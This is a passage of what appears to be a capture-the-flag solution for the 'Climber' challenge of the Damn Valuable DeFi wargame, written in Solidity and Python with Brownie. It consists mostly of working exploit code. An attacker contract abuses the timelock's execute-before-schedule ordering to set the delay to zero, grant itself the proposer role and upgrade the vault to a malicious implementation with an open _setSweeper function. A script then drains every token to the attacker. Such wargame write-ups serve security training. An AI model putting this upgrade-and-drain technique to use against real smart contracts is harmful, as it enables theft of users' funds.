(this ); uint256[] memory values = new uint256[](4 ); values[0 ] = 0 ; values[1 ] = 0 ; values[2 ] = 0 ; values[3 ] = 0 ; bytes[] memory data = new bytes[](4 ); bytes memory updateDelayData = abi.encodeWithSelector (0x24adbc5b , 0 ); bytes memory grantRoleData = abi.encodeWithSelector ( 0x2f2ff15d , PROPOSER_ROLE , address (this ) ); bytes memory upgradeData = abi.encodeWithSelector ( 0x3659cfe6 , maliciousContract ); bytes memory schedule = abi.encodeWithSelector (0x0045ef3e , "" ); data[0 ] = updateDelayData; data[1 ] = grantRoleData; data[2 ] = upgradeData; data[3 ] = schedule; IClimberTimeLock (victimAddress).execute (targets, values, data, 0x00 ); } function _schedule ( ) public { address[] memory targets = new address[](4 ); targets[0 ] = victimAddress; targets[1 ] = victimAddress; targets[2 ] = vaultAddress; targets[3 ] = address (this ); uint256[] memory values = new uint256[](4 ); values[0 ] = 0 ; values[1 ] = 0 ; values[2 ] = 0 ; values[3 ] = 0 ; bytes[] memory data = new bytes[](4 ); bytes memory updateDelayData = abi.encodeWithSelector (0x24adbc5b , 0 ); bytes memory grantRoleData = abi.encodeWithSelector ( 0x2f2ff15d , PROPOSER_ROLE , address (this ) ); bytes memory upgradeData = abi.encodeWithSelector ( 0x3659cfe6 , maliciousContract ); bytes memory schedule = abi.encodeWithSelector (0x0045ef3e , "" ); data[0 ] = updateDelayData; data[1 ] = grantRoleData; data[2 ] = upgradeData; data[3 ] = schedule; IClimberTimeLock (victimAddress).schedule (targets, values, data, 0x00 ); } }
MaliciousClimberVault.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts-upgradeable/contracts/access/OwnableUpgradeable.sol" ;import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol" ;import "@openzeppelin/contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol" ;import "../ClimberTimelock.sol" ;contract MaliciousClimberVault is Initializable , OwnableUpgradeable , UUPSUpgradeable { uint256 public constant WITHDRAWAL_LIMIT = 0 ; uint256 public constant WAITING_PERIOD = 0 ; uint256 private _lastWithdrawalTimestamp; address private _sweeper; modifier onlySweeper ( ) { require (msg.sender == _sweeper, "Caller must be sweeper" ); _; } constructor ( ) initializer {} function initialize ( address admin, address proposer, address sweeper ) external initializer { __Ownable_init (); _setSweeper (msg.sender ); _setLastWithdrawal (block.timestamp ); _lastWithdrawalTimestamp = block.timestamp ; } function withdraw ( address tokenAddress, address recipient, uint256 amount ) external onlyOwner { require (amount <= WITHDRAWAL_LIMIT , "Withdrawing too much" ); require ( block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD , "Try later" ); _setLastWithdrawal (block.timestamp ); IERC20Upgradeable token = IERC20Upgradeable (tokenAddress); require (token.transfer (recipient, amount), "Transfer failed" ); } function sweepFunds (address tokenAddress ) external onlySweeper { IERC20Upgradeable token = IERC20Upgradeable (tokenAddress); require ( token.transfer (_sweeper, token.balanceOf (address (this ))), "Transfer failed" ); } function getSweeper ( ) external view returns (address) { return _sweeper; } function _setSweeper (address newSweeper ) public { _sweeper = newSweeper; } function getLastWithdrawalTimestamp ( ) external view returns (uint256) { return _lastWithdrawalTimestamp; } function _setLastWithdrawal (uint256 timestamp ) internal { _lastWithdrawalTimestamp = timestamp; } function _authorizeUpgrade (address newImplementation ) internal override onlyOwner {} }
climber.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from brownie import accounts, Contract, ClimberTimelock, ClimberVault, DamnValuableToken, ERC1967Proxy, ZERO_ADDRESS, climber_Exploit, MaliciousClimberVault, chainfrom web3 import Web3VAULT_TOKEN_BALANCE = '10000000 ether' def scenario_setup (): ATTACKER_ACCOUNT = accounts.add() PROPOSER_ACCOUNT = accounts.add() SWEEPER_ACCOUNT = accounts.add() accounts[0 ].transfer(ATTACKER_ACCOUNT, '0.1 ether' ) assert ATTACKER_ACCOUNT.balance() == '0.1 ether' climber_vault_implementation = ClimberVault.deploy({'from' : accounts[0 ]}) climber_vault_data = climber_vault_implementation.initialize.encode_input( accounts[0 ], PROPOSER_ACCOUNT, SWEEPER_ACCOUNT) climber_vault_proxy = ERC1967Proxy.deploy( climber_vault_implementation, climber_vault_data, {'from' : accounts[0 ]}) climber_vault = Contract.from_abi( "Climber" , climber_vault_proxy, ClimberVault.abi) assert climber_vault.getSweeper() == SWEEPER_ACCOUNT assert climber_vault.getLastWithdrawalTimestamp() > 0 assert climber_vault.owner() != ZERO_ADDRESS assert climber_vault.owner() != accounts[0 ] time_lock_address = climber_vault.owner() time_lock = ClimberTimelock.at(time_lock_address) assert time_lock.hasRole(time_lock.PROPOSER_ROLE(), PROPOSER_ACCOUNT) == True assert time_lock.hasRole(time_lock.ADMIN_ROLE(), accounts[0 ]) == True damn_valuable_token = DamnValuableToken.deploy({'from' : accounts[0 ]}) damn_valuable_token.transfer(climber_vault, VAULT_TOKEN_BALANCE) return time_lock, climber_vault, ATTACKER_ACCOUNT, damn_valuable_token def exploit (vault, vault_time_lock, attacker_account, dvt ): malicious_climber_vault = MaliciousClimberVault.deploy( {'from' : attacker_account}) attacker_contract = climber_Exploit.deploy( vault_time_lock, vault, malicious_climber_vault, {'from' : attacker_account}) tx = attacker_contract.attack({'from' : attacker_account}) n = Contract.from_abi("maliciousVault" , vault, MaliciousClimberVault.abi) n._setSweeper(attacker_account, {'from' : attacker_account}) vault.sweepFunds(dvt, {'from' : attacker_account}) def after (token, vault, attacker ): assert token.balanceOf(vault) == 0 assert token.balanceOf(attacker) == VAULT_TOKEN_BALANCE def main (): time_lock, climber_vault, ATTACKER_ACCOUNT, damn_valuable_token = scenario_setup() exploit(climber_vault, time_lock, ATTACKER_ACCOUNT, damn_valuable_token) after(damn_valuable_token, climber_vault, ATTACKER_ACCOUNT)